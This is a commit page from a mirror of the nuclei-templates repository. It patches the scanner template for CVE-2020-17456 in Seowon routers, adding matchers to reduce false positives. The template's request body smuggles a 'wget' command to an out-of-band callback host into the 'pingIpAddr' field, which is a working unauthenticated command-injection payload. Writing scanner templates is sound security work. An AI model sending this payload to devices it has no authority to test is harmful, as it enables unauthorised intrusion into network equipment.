daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fix CVE-2020-17456 (false positive) (#3997) 

* Fix CVE-2020-17456 (false positive)

* additional matchers

Co-authored-by: sandeep <sandeep@projectdiscovery.io>
patch-1
gilfoyle97 2022-03-28 13:05:16 +02:00 committed by GitHub
parent 28afc48724
commit 91db326b54
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 12 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

13
cves/2020/CVE-2020-17456.yaml
View File

@ -2,7 +2,7 @@ id: CVE-2020-17456
info: info:
name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution
author: gy741 author: gy741,edoardottt
severity: critical severity: critical
description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page. description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page.
reference: reference:
@ -31,9 +31,20 @@ requests:
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018 Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018
cookie-reuse: true cookie-reuse: true
matchers-condition: and
matchers: matchers:
- type: word - type: word
part: interactsh_protocol part: interactsh_protocol
words: words:
- "http" - "http"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200